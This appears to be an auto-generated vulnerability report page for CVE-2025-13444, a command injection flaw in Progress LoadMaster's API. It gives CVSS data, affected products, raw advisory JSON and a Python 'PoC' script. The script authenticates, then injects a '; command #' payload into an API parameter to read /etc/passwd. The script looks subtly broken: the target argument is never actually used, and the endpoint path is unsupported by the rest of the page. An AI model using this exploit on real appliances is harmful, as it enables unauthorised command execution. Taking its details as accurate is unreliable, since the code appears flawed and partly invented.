Security Vulnerability Report
中文
CVE-2025-13444 CVSS 8.4 HIGH

CVE-2025-13444

Published: 2026-01-13 15:15:58
Last Modified: 2026-02-13 21:46:30

Description

OS Command Injection Remote Code Execution Vulnerability in API in Progress LoadMaster allows an authenticated attacker with “User Administration” permissions to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in the API input parameters

CVSS Details

CVSS Score
8.4
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:progress:connection_manager_for_objectscale:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:progress:ecs_connection_manager:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:progress:loadmaster:*:*:*:*:ltsf:*:*:* - VULNERABLE
cpe:2.3:a:progress:loadmaster:*:*:*:*:ga:*:*:* - VULNERABLE
cpe:2.3:a:progress:moveit_waf:7.2.62.1:*:*:*:*:*:*:* - VULNERABLE
Progress LoadMaster < 最新安全补丁版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13444 Progress LoadMaster API Command Injection PoC # Requirements: Valid credentials with User Administration privileges import requests import sys import json TARGET_URL = "https://target-loadmaster.com/api/v1" USERNAME = "admin" # User with User Administration privileges PASSWORD = "password" def authenticate(): """Authenticate to LoadMaster API""" login_url = f"{TARGET_URL}/accessmanagement/1.0/login" headers = {"Content-Type": "application/json"} data = {"username": USERNAME, "password": PASSWORD} try: response = requests.post(login_url, json=data, headers=headers, verify=False, timeout=30) if response.status_code == 200: return response.json().get("token") except Exception as e: print(f"[-] Authentication failed: {e}") return None def exploit_command_injection(token, command): """Send malicious payload to vulnerable API endpoint""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Vulnerable endpoint - API parameter without proper sanitization exploit_url = f"{TARGET_URL}/center/nobias/tftp/1.0/ConfigFile" # Payload: Command injection via unsanitized input payload = { "param": f"; {command} #" } try: response = requests.post(exploit_url, json=payload, headers=headers, verify=False, timeout=30) return response.text except Exception as e: return str(e) def main(): if len(sys.argv) < 2: print("Usage: python cve-2025-13444.py <target_url>") sys.exit(1) target = sys.argv[1] TARGET_URL = target print("[*] CVE-2025-13444 - Progress LoadMaster Command Injection RCE") print("[*] Authenticating to LoadMaster API...") token = authenticate() if not token: print("[-] Failed to authenticate") sys.exit(1) print("[+] Authentication successful!") print("[*] Sending command injection payload...") # Example: Read /etc/passwd result = exploit_command_injection(token, "cat /etc/passwd") print(f"[+] Command output:\n{result}") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13444", "sourceIdentifier": "[email protected]", "published": "2026-01-13T15:15:57.913", "lastModified": "2026-02-13T21:46:29.560", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection Remote Code Execution Vulnerability in API in Progress LoadMaster allows an authenticated attacker with “User Administration” permissions to execute arbitrary commands on the LoadMaster appliance by exploiting unsanitized input in the API input parameters"}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por inyección de comandos del sistema operativo en la API de Progress LoadMaster permite a un atacante autenticado con permisos de 'Administración de Usuarios' ejecutar comandos arbitrarios en el dispositivo LoadMaster explotando la entrada no saneada en los parámetros de entrada de la API."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.7, "impactScore": 6.0}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.8, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:progress:connection_manager_for_objectscale:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.62.2", "matchCriteriaId": "F7052639-332E-4077-BE5A-60B87A964E10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:progress:ecs_connection_manager:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.2.62.2", "matchCriteriaId": "1FC15908-9A59-4CB5-8279-02F3E061AB11"}, {"vulnerable": true, "criteria": "cpe:2.3:a:progress:loadmaster:*:*:*:*:ltsf:*:*:*", "versionEndExcluding": "7.2.54.16", "matchCriteriaId": "CB2D26CD-AF3F-463E-913F-FC41B0F122C3"}, {"vulnerable": true, "criteria": "cpe:2.3:a:progress:loadmaster:*:*:*:*:ga:*:*:*", "versionEndExcluding": "7.2.62.2", "matchCriteriaId": "146A0610-9E1C-4614-9327-92D0336A82BE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:progress:moveit_waf:7.2.62.1:*:*:*:*:*:*:*", "matchCriteriaId": "7935C9E7-E371-463E-B9EF-F2F52DCE4315"}, {"vulnerable": true, "criteria": "cpe:2.3:a:progress:multi-tenant_hypervisor:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.35.15", "matchCriteriaId": "621720F8-C897-4CB6-BED8-687BB400D5DC"}]}]}], "references": [{"url": "https://community.progress.com/s/article/Connection-Manager-for-ObjectScale-Vulnerabilities-CVE-2025-13444-CVE-2025-13447", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://community.progress.com/s/article/ECS-Connection-Manager-Vulnerabilities-CVE-2025-13444-CVE-2025-13447", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://community.progress.com/s/article/LoadMaster-Vulnerabilities-CVE-2025-13444-CVE-2025-13447", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://community.progress.com/s/article/MOVEit-WAF-Vulnerabilities-CVE-2025-13444-CVE-2025-13447", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}